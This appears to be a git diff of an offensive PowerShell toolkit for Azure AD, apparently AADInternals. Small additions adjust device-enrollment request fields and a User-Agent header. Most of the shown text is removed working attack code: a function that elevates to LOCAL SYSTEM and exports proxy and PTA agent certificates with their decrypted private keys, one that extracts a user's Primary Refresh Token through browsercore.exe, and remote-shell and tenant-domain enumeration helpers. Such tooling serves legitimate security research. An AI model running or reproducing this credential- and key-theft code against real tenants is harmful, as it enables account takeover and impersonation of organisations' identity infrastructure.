||||
<ac:Value>(($BPRT -eq $false).ToString().ToLower())</ac:Value>
|
||||
<ac:Value>$(($BPRT -eq $false).ToString().ToLower())</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="HWDevID">
|
||||
<ac:Value>$HWDevID</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="BulkAADJ">
|
||||
<ac:ContextItem Name="OfflineAutoPilotEnrollmentCorrelator">
|
||||
<ac:Value>$ZtdCorrelationId</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="BulkAADJ">
|
||||
<ac:Value>$($BPRT.ToString().ToLower())</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="Locale">
|
||||
<ac:Value>en-US</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="TargetedUserLoggedIn">
|
||||
<ac:Value>$(($BPRT -eq $false).ToString().ToLower())</ac:Value>
|
||||
<ac:Value>$((($BPRT -eq $false) -or ($ZtdCorrelationId -eq $null)).ToString().ToLower())</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="EnrollmentData">
|
||||
<ac:Value></ac:Value>
|
||||
<ac:Value>$ZtdCorrelationId</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="OSEdition">
|
||||
<ac:Value>4</ac:Value>
|
||||
@@ -167,6 +173,12 @@ function Enroll-DeviceToMDM
|
||||
<ac:ContextItem Name="ApplicationVersion">
|
||||
<ac:Value>10.0.18363.0</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="NotInOobe">
|
||||
<ac:Value>true</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="RequestVersion">
|
||||
<ac:Value>5.0</ac:Value>
|
||||
</ac:ContextItem>
|
||||
</ac:AdditionalContext>
|
||||
</wst:RequestSecurityToken>
|
||||
</s:Body>
|
||||
|
||||
-169
@@ -568,175 +568,6 @@ function Add-ProxyAgentToGroup
|
||||
}
|
||||
}
|
||||
|
||||
# Export proxy agent certificates from the local computer
|
||||
# Mar 8th 2022
|
||||
# Aug 17th 2022: Added support for exporting from NETWORK SERVICE personal store
|
||||
function Export-ProxyAgentCertificates
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Export certificates of all MS App Proxy agents from the local computer.
|
||||
|
||||
.DESCRIPTION
|
||||
Export certificates of all MS App Proxy agents from the local computer.
|
||||
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
|
||||
|
||||
.Example
|
||||
Export-AADIntProxyAgentCertificates
|
||||
|
||||
WARNING: Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore PTA01\Administrator rights.
|
||||
|
||||
Certificate saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
|
||||
Process
|
||||
{
|
||||
# Get all certificates from LocalMachine Personal store
|
||||
$certificates = @(Get-Item Cert:\LocalMachine\My\*)
|
||||
|
||||
# Internal function to parse PTA & Provisioning agent configs
|
||||
function Parse-ConfigCert
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[String]$ConfigPath
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check if we have a PTA or provisioning agent configuration and get the certificate if stored in NETWORK SERVICE personal store
|
||||
[xml]$trustConfig = Get-Content "$env:ProgramData\Microsoft\$ConfigPath\Config\TrustSettings.xml" -ErrorAction SilentlyContinue
|
||||
|
||||
if($trustConfig)
|
||||
{
|
||||
$thumbPrint = $trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint
|
||||
|
||||
# Check where the certificate is stored
|
||||
if($trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore.ToLower().equals("true"))
|
||||
{
|
||||
# Certificate is stored in NETWORK SERVICE personal store so we need to parse it from there
|
||||
Write-Verbose "Parsing certificate: $($thumbPrint)"
|
||||
|
||||
Parse-CertBlob -Data (Get-BinaryContent "$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\$thumbPrint")
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($PTACert = Parse-ConfigCert -ConfigPath "Azure AD Connect Authentication Agent")
|
||||
{
|
||||
$binCert = $PTACert.DER
|
||||
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
|
||||
$PTAKeyName = $PTACert.KeyName
|
||||
$certificates += $certificate
|
||||
}
|
||||
|
||||
if($ProvCert = Parse-ConfigCert -ConfigPath "Azure AD Connect Provisioning Agent")
|
||||
{
|
||||
$binCert = $ProvCert.DER
|
||||
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
|
||||
$ProvKeyName = $ProvCert.KeyName
|
||||
$certificates += $certificate
|
||||
}
|
||||
|
||||
|
||||
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
|
||||
Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
|
||||
|
||||
foreach($certificate in $certificates)
|
||||
{
|
||||
Write-Verbose "Reading certificate: $($certificate.Thumbprint)"
|
||||
|
||||
foreach($ext in $Certificate.Extensions)
|
||||
{
|
||||
# Check the agent Id OID exist
|
||||
if($ext.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
|
||||
{
|
||||
# Extract agent and tenant IDs
|
||||
$agentId = [guid] $ext.RawData
|
||||
$tenantId = [guid] $certificate.Subject.Split("=")[1]
|
||||
|
||||
Write-Verbose " Tenant Id: $tenantId, Agent Id: $agentId"
|
||||
|
||||
# Get the certificate
|
||||
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
|
||||
|
||||
# Get the key blob and decrypt the keys
|
||||
if($PTACert)
|
||||
{
|
||||
# If stored in NETWORK SERVICE store, PTA Agent's key name can't be readed from the certificate
|
||||
$keyName = $PTAKeyName
|
||||
}
|
||||
elseif($ProvCert)
|
||||
{
|
||||
# If stored in NETWORK SERVICE store, Provisioning Agent's key name can't be readed from the certificate
|
||||
$keyName = $ProvKeyName
|
||||
}
|
||||
else
|
||||
{
|
||||
# Read the key name from the certificate
|
||||
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
|
||||
}
|
||||
|
||||
# Discard trailing null, cr, lf
|
||||
$keyName = $keyName.trimEnd(@(0x00,0x0a,0x0d))
|
||||
|
||||
$paths = @(
|
||||
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
|
||||
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
|
||||
"$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-20\$keyName"
|
||||
)
|
||||
foreach($path in $paths)
|
||||
{
|
||||
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
|
||||
if($keyBlob)
|
||||
{
|
||||
Write-Verbose "Key loaded from $path"
|
||||
break
|
||||
}
|
||||
}
|
||||
if(!$keyBlob)
|
||||
{
|
||||
if($keyName.EndsWith(".PCPKEY"))
|
||||
{
|
||||
# This machine has a TPM
|
||||
Throw "PCP keys are not supported, unable to export private key!"
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
|
||||
}
|
||||
return
|
||||
}
|
||||
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
|
||||
switch($blobType)
|
||||
{
|
||||
1 { $privateKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine}
|
||||
2 { $privateKey = Parse-CapiBlob -Data $keyBlob -Decrypt -LocalMachine}
|
||||
default { throw "Unsupported key blob type" }
|
||||
}
|
||||
|
||||
# Save to pfx file
|
||||
$machineName = Get-ComputerName -FQDN
|
||||
$fileName = "$($machineName)_$($tenantId)_$($agentId)_$($certificate.Thumbprint).pfx"
|
||||
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters ($privateKey.RSAParameters) -X509Certificate $binCert)
|
||||
|
||||
# Set the modified date
|
||||
(Get-Item -Path $fileName).LastWriteTime = $certificate.NotBefore
|
||||
|
||||
Write-Host "Certificate saved to: $fileName"
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Export proxy agent bootstraps using the given certificates
|
||||
# Nov 1st 2022
|
||||
function Export-ProxyAgentBootstraps
|
||||
|
||||
@@ -32,6 +32,11 @@ function Call-MSGraphAPI
|
||||
}
|
||||
$Headers["Authorization"] = "Bearer $AccessToken"
|
||||
|
||||
if([string]::IsNullOrEmpty($Headers["User-Agent"]))
|
||||
{
|
||||
$Headers["User-Agent"] = Get-UserAgent
|
||||
}
|
||||
|
||||
# Create the url
|
||||
$url = "https://graph.microsoft.com/$($ApiVersion)/$($API)?$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})"
|
||||
|
||||
|
||||
@@ -1,146 +1,5 @@
|
||||
# This file contains functions for Persistent Refresh Token and related device operations
|
||||
|
||||
# Get the PRT token from the current user
|
||||
# Aug 19th 2020
|
||||
function Get-UserPRTToken
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets user's PRT token from the Azure AD joined or Hybrid joined computer.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets user's PRT token from the Azure AD joined or Hybrid joined computer.
|
||||
Uses browsercore.exe or Token Provider DLL to get the PRT token.
|
||||
|
||||
.Parameter Method
|
||||
Method to use to retrieve the user's PRT token.
|
||||
"BrowserCore" for browsercore.exe or "TokenProvider" for Token Provider DLL
|
||||
|
||||
.EXAMPLE
|
||||
PS C:\> Get-AADIntUserPRTToken
|
||||
eyJ4NWMiOi...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('BrowserCore','TokenProvider')]
|
||||
[String]$Method="BrowserCore"
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
# Get the nonce
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body "grant_type=srv_challenge"
|
||||
$nonce = $response.Nonce
|
||||
|
||||
if($Method -eq "BrowserCore")
|
||||
{
|
||||
# There are two possible locations
|
||||
$locations = @(
|
||||
"$($env:ProgramFiles)\Windows Security\BrowserCore\browsercore.exe"
|
||||
"$($env:windir)\BrowserCore\browsercore.exe"
|
||||
)
|
||||
|
||||
# Check the locations
|
||||
foreach($file in $locations)
|
||||
{
|
||||
if(Test-Path $file)
|
||||
{
|
||||
$browserCore = $file
|
||||
}
|
||||
}
|
||||
|
||||
if(!$browserCore)
|
||||
{
|
||||
throw "Browsercore not found!"
|
||||
}
|
||||
|
||||
# Create the process
|
||||
$p = New-Object System.Diagnostics.Process
|
||||
$p.StartInfo.FileName = $browserCore
|
||||
$p.StartInfo.UseShellExecute = $false
|
||||
$p.StartInfo.RedirectStandardInput = $true
|
||||
$p.StartInfo.RedirectStandardOutput = $true
|
||||
$p.StartInfo.CreateNoWindow = $true
|
||||
|
||||
# Create the message body
|
||||
$body = @"
|
||||
{
|
||||
"method":"GetCookies",
|
||||
"uri":"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce",
|
||||
"sender":"https://login.microsoftonline.com"
|
||||
}
|
||||
"@
|
||||
# Start the process
|
||||
$p.Start() | Out-Null
|
||||
$stdin = $p.StandardInput
|
||||
$stdout = $p.StandardOutput
|
||||
|
||||
# Write the input
|
||||
$stdin.BaseStream.Write([bitconverter]::GetBytes($body.Length),0,4)
|
||||
$stdin.Write($body)
|
||||
$stdin.Close()
|
||||
|
||||
# Read the output
|
||||
$response=""
|
||||
while(!$stdout.EndOfStream)
|
||||
{
|
||||
$response += $stdout.ReadLine()
|
||||
}
|
||||
|
||||
Write-Debug "RESPONSE: $response"
|
||||
|
||||
$p.WaitForExit()
|
||||
|
||||
# Strip the stuff from the beginning of the line
|
||||
$response = $response.Substring($response.IndexOf("{")) | ConvertFrom-Json
|
||||
|
||||
# Check for error
|
||||
if($response.status -eq "Fail")
|
||||
{
|
||||
Throw "Error getting PRT: $($response.code). $($response.description)"
|
||||
}
|
||||
|
||||
# Get the index of the x-ms-RefreshTokenCredential data or throw error
|
||||
$token_index = $response.response.name.IndexOf("x-ms-RefreshTokenCredential")
|
||||
if($token_index -lt 0)
|
||||
{
|
||||
throw "Could not find the x-ms-RefreshTokenCredential cookie in response"
|
||||
}
|
||||
|
||||
# Return the data for x-ms-RefreshTokenCredential
|
||||
$tokens = $response.response[$token_index].data
|
||||
return $tokens
|
||||
}
|
||||
else
|
||||
{
|
||||
$tokens = [AADInternals.Native]::getCookieInfoForUri("https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce")
|
||||
|
||||
if($tokens.Count)
|
||||
{
|
||||
Write-Verbose "Found $($tokens.Count) token(s)."
|
||||
|
||||
# Get the index of the x-ms-RefreshTokenCredential data or throw error
|
||||
$token_index = $tokens.name.IndexOf("x-ms-RefreshTokenCredential")
|
||||
if($token_index -lt 0)
|
||||
{
|
||||
throw "Could not find the x-ms-RefreshTokenCredential cookie in response"
|
||||
}
|
||||
|
||||
# Return the data for x-ms-RefreshTokenCredential
|
||||
$token = $tokens[$token_index]["data"]
|
||||
|
||||
return $token.Split(";")[0]
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "Error getting tokens."
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a new PRT token
|
||||
# Aug 26th 2020
|
||||
function New-UserPRTToken
|
||||
@@ -1023,7 +882,8 @@ function Get-UserPRTKeys
|
||||
[Parameter(ParameterSetName='CloudAP' ,Mandatory=$True)]
|
||||
[switch]$CloudAP,
|
||||
|
||||
[Parameter(ParameterSetName='CloudAP' ,Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='CloudAP' ,Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
|
||||
@@ -1236,7 +1096,7 @@ function Get-UserPRTKeys
|
||||
|
||||
if ($IncludePartialTGT)
|
||||
{
|
||||
$tgt = Decrypt-JWE -JWE $response.tgt_client_key -SessionKey $sessionKey
|
||||
$tgt = Decrypt-JWE -JWE (ConvertFrom-Json $response.tgt_cloud).tgt_client_key -SessionKey $sessionKey
|
||||
$response | Add-Member -NotePropertyName "decrypted_tgt_client_key" -NotePropertyValue (Convert-ByteArrayToB64 -Bytes $tgt)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,571 +0,0 @@
|
||||
# PowerShell Remoting Protocol functions
|
||||
|
||||
# Creates a PowerShell remote shell
|
||||
# Apr 24th 2019
|
||||
function Create-PSRPShell
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter()]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Bool]$Oauth=$false,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SessionId=((New-Guid).ToString())
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$Body = @"
|
||||
<rsp:Shell xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Name="WinRM$(Get-Random -Maximum 1000)" ShellId="$((New-Guid).ToString().ToUpper())">
|
||||
<rsp:InputStreams>stdin pr</rsp:InputStreams>
|
||||
<rsp:OutputStreams>stdout</rsp:OutputStreams>
|
||||
<creationXml xmlns="http://schemas.microsoft.com/powershell">AAAAAAAAAAcAAAAAAAAAAAMAAALwAgAAAAIAAQAGWlblyniqQabvSrnLG9XKAAAAAAAAAAAAAAAAAAAAAO+7vzxPYmogUmVmSWQ9IjAiPjxNUz48VmVyc2lvbiBOPSJwcm90b2NvbHZlcnNpb24iPjIuMzwvVmVyc2lvbj48VmVyc2lvbiBOPSJQU1ZlcnNpb24iPjIuMDwvVmVyc2lvbj48VmVyc2lvbiBOPSJTZXJpYWxpemF0aW9uVmVyc2lvbiI+MS4xLjAuMTwvVmVyc2lvbj48QkEgTj0iVGltZVpvbmUiPkFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQnhUZVhOMFpXMHVRM1Z5Y21WdWRGTjVjM1JsYlZScGJXVmFiMjVsQkFBQUFCZHRYME5oWTJobFpFUmhlV3hwWjJoMFEyaGhibWRsY3cxdFgzUnBZMnR6VDJabWMyVjBEbTFmYzNSaGJtUmhjbVJPWVcxbERtMWZaR0Y1YkdsbmFIUk9ZVzFsQXdBQkFSeFRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVTR0Z6YUhSaFlteGxDUWtDQUFBQUFOQ0l3eEFBQUFBS0NnUUNBQUFBSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SVlYTm9kR0ZpYkdVSEFBQUFDa3h2WVdSR1lXTjBiM0lIVm1WeWMybHZiZ2hEYjIxd1lYSmxjaEJJWVhOb1EyOWtaVkJ5YjNacFpHVnlDRWhoYzJoVGFYcGxCRXRsZVhNR1ZtRnNkV1Z6QUFBREF3QUZCUXNJSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SlEyOXRjR0Z5WlhJa1UzbHpkR1Z0TGtOdmJHeGxZM1JwYjI1ekxrbElZWE5vUTI5a1pWQnliM1pwWkdWeUNPeFJPRDhBQUFBQUNnb0RBQUFBQ1FNQUFBQUpCQUFBQUJBREFBQUFBQUFBQUJBRUFBQUFBQUFBQUFzPTwvQkE+PC9NUz48L09iaj4AAAAAAAAACAAAAAAAAAAAAwAACtwCAAAABAABAAZaVuXKeKpBpu9Kucsb1coAAAAAAAAAAAAAAAAAAAAA77u/PE9iaiBSZWZJZD0iMCI+PE1TPjxJMzIgTj0iTWluUnVuc3BhY2VzIj4xPC9JMzI+PEkzMiBOPSJNYXhSdW5zcGFjZXMiPjE8L0kzMj48T2JqIE49IlBTVGhyZWFkT3B0aW9ucyIgUmVmSWQ9IjEiPjxUTiBSZWZJZD0iMCI+PFQ+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMuUFNUaHJlYWRPcHRpb25zPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5EZWZhdWx0PC9Ub1N0cmluZz48STMyPjA8L0kzMj48L09iaj48T2JqIE49IkFwYXJ0bWVudFN0YXRlIiBSZWZJZD0iMiI+PFROIFJlZklkPSIxIj48VD5TeXN0ZW0uVGhyZWFkaW5nLkFwYXJ0bWVudFN0YXRlPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5Vbmtub3duPC9Ub1N0cmluZz48STMyPjI8L0kzMj48L09iaj48T2JqIE49IkFwcGxpY2F0aW9uQXJndW1lbnRzIiBSZWZJZD0iMyI+PFROIFJlZklkPSIyIj48VD5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTUHJpbWl0aXZlRGljdGlvbmFyeTwvVD48VD5TeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlPC9UPjxUPlN5c3RlbS5PYmplY3Q8L1Q+PC9UTj48RENUPjxFbj48UyBOPSJLZXkiPlBTVmVyc2lvblRhYmxlPC9TPjxPYmogTj0iVmFsdWUiIFJlZklkPSI0Ij48VE5SZWYgUmVmSWQ9IjIiIC8+PERDVD48RW4+PFMgTj0iS2V5Ij5QU1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0VkaXRpb248L1M+PFMgTj0iVmFsdWUiPkRlc2t0b3A8L1M+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0NvbXBhdGlibGVWZXJzaW9uczwvUz48T2JqIE49IlZhbHVlIiBSZWZJZD0iNSI+PFROIFJlZklkPSIzIj48VD5TeXN0ZW0uVmVyc2lvbltdPC9UPjxUPlN5c3RlbS5BcnJheTwvVD48VD5TeXN0ZW0uT2JqZWN0PC9UPjwvVE4+PExTVD48VmVyc2lvbj4xLjA8L1ZlcnNpb24+PFZlcnNpb24+Mi4wPC9WZXJzaW9uPjxWZXJzaW9uPjMuMDwvVmVyc2lvbj48VmVyc2lvbj40LjA8L1ZlcnNpb24+PFZlcnNpb24+NS4wPC9WZXJzaW9uPjxWZXJzaW9uPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9MU1Q+PC9PYmo+PC9Fbj48RW4+PFMgTj0iS2V5Ij5DTFJWZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj40LjAuMzAzMTkuNDIwMDA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5CdWlsZFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjEwLjAuMTcxMzQuNTkwPC9WZXJzaW9uPjwvRW4+PEVuPjxTIE49IktleSI+V1NNYW5TdGFja1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjMuMDwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlBTUmVtb3RpbmdQcm90b2NvbFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjIuMzwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlNlcmlhbGl6YXRpb25WZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj4xLjEuMC4xPC9WZXJzaW9uPjwvRW4+PC9EQ1Q+PC9PYmo+PC9Fbj48L0RDVD48L09iaj48T2JqIE49Ikhvc3RJbmZvIiBSZWZJZD0iNiI+PE1TPjxPYmogTj0iX2hvc3REZWZhdWx0RGF0YSIgUmVmSWQ9IjciPjxNUz48T2JqIE49ImRhdGEiIFJlZklkPSI4Ij48VE4gUmVmSWQ9IjQiPjxUPlN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxEQ1Q+PEVuPjxJMzIgTj0iS2V5Ij45PC9JMzI+PE9iaiBOPSJWYWx1ZSIgUmVmSWQ9IjkiPjxNUz48UyBOPSJUIj5TeXN0ZW0uU3RyaW5nPC9TPjxTIE49IlYiPldpbmRvd3MgUG93ZXJTaGVsbCBJU0U8L1M+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+NTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMCI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5TaXplPC9TPjxPYmogTj0iViIgUmVmSWQ9IjExIj48TVM+PEkzMiBOPSJ3aWR0aCI+ODg8L0kzMj48STMyIE49ImhlaWdodCI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MjwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMiI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5Db29yZGluYXRlczwvUz48T2JqIE49IlYiIFJlZklkPSIxMyI+PE1TPjxJMzIgTj0ieCI+MDwvSTMyPjxJMzIgTj0ieSI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxNCI+PE1TPjxTIE49IlQiPlN5c3RlbS5Db25zb2xlQ29sb3I8L1M+PEkzMiBOPSJWIj4tMTwvSTMyPjwvTVM+PC9PYmo+PC9Fbj48RW4+PEkzMiBOPSJLZXkiPjA8L0kzMj48T2JqIE49IlZhbHVlIiBSZWZJZD0iMTUiPjxNUz48UyBOPSJUIj5TeXN0ZW0uQ29uc29sZUNvbG9yPC9TPjxJMzIgTj0iViI+LTE8L0kzMj48L01TPjwvT2JqPjwvRW4+PC9EQ1Q+PC9PYmo+PC9NUz48L09iaj48QiBOPSJfaXNIb3N0TnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFVJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFJhd1VJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX3VzZVJ1bnNwYWNlSG9zdCI+ZmFsc2U8L0I+PC9NUz48L09iaj48L01TPjwvT2JqPg==</creationXml>
|
||||
</rsp:Shell>
|
||||
"@
|
||||
|
||||
Write-Verbose "Session Id: $SessionId"
|
||||
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Create -Option @("protocolversion","2.3")
|
||||
|
||||
# Create the Shell
|
||||
try
|
||||
{
|
||||
$shell_response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Probably wrong credentials or access token
|
||||
Write-error $_.Exception.Message
|
||||
return
|
||||
}
|
||||
|
||||
[xml]$response = $shell_response
|
||||
|
||||
# Save the shell id for the later use
|
||||
$Shell_Id = $response.Envelope.Body.Shell.ShellId
|
||||
Write-Verbose "ShellId: $Shell_Id"
|
||||
|
||||
# Get the output to read session capabilities etc.
|
||||
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
|
||||
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
|
||||
{
|
||||
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
|
||||
}
|
||||
|
||||
# Read the rest of the output
|
||||
while($parsed_message.'Message type' -ne "Runspool state")
|
||||
{
|
||||
try
|
||||
{
|
||||
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
|
||||
$message = $response.Envelope.Body.ReceiveResponse.Stream.'#text'
|
||||
$parsed_message = Parse-PSRPMessage -Base64Value $message
|
||||
}
|
||||
catch
|
||||
{
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $Shell_Id
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Gets other domains of the given tenant
|
||||
# Apr 24th 2019
|
||||
function Get-TenantDomains2
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets other domains from the tenant of the given domain
|
||||
|
||||
.DESCRIPTION
|
||||
Uses Exchange Online "feature" that allows Get-FederationInformation cmdlet to retrive other
|
||||
domains from the tenant of the given domain. The tenant used to retrieve information can
|
||||
be any tenant having Exchange Online, including trial tenants.
|
||||
The given user MUST have GlobalAdmin / CompanyAdministrator role in the tenant running the function,
|
||||
but no rights to the target tenant is needed.
|
||||
|
||||
Due to Exchange Online, this function is extremely slow, can take 10 seconds or more to complete.
|
||||
|
||||
The given domain SHOULD be Managed, federated domains are not always found for some reason.
|
||||
If nothing is found, try to use <domain>.onmicrosoft.com
|
||||
|
||||
.Example
|
||||
Get-AADIntTenantDomains -Credentials $Cred -Domain company.com
|
||||
|
||||
company.com
|
||||
company.fi
|
||||
company.co.uk
|
||||
company.onmicrosoft.com
|
||||
company.mail.onmicrosoft.com
|
||||
|
||||
.Example
|
||||
$at = Get-AADIntAccessTokenForEXO
|
||||
PS C:\>Get-AADIntTenantDomains -AccessToken $at -Domain company.com
|
||||
|
||||
company.com
|
||||
company.fi
|
||||
company.co.uk
|
||||
company.onmicrosoft.com
|
||||
company.mail.onmicrosoft.com
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
# First, check if the domain is registered to Azure AD
|
||||
$tenantId = Get-TenantID -Domain $Domain
|
||||
if([string]::IsNullOrEmpty($tenantId))
|
||||
{
|
||||
Write-Error "Domain $domain is not registered to any Azure AD tenant"
|
||||
return
|
||||
}
|
||||
|
||||
# A fixed runspacel pool ID, used in PSRP messages
|
||||
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
|
||||
|
||||
# Counter for Object IDs
|
||||
$ObjectId=10
|
||||
|
||||
$Oauth=$false
|
||||
|
||||
# If Credentials is null, create the credentials object from AccessToken manually
|
||||
if($Credentials -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$upn = (Read-Accesstoken $AccessToken).upn
|
||||
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
|
||||
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
|
||||
$Oauth=$True
|
||||
}
|
||||
|
||||
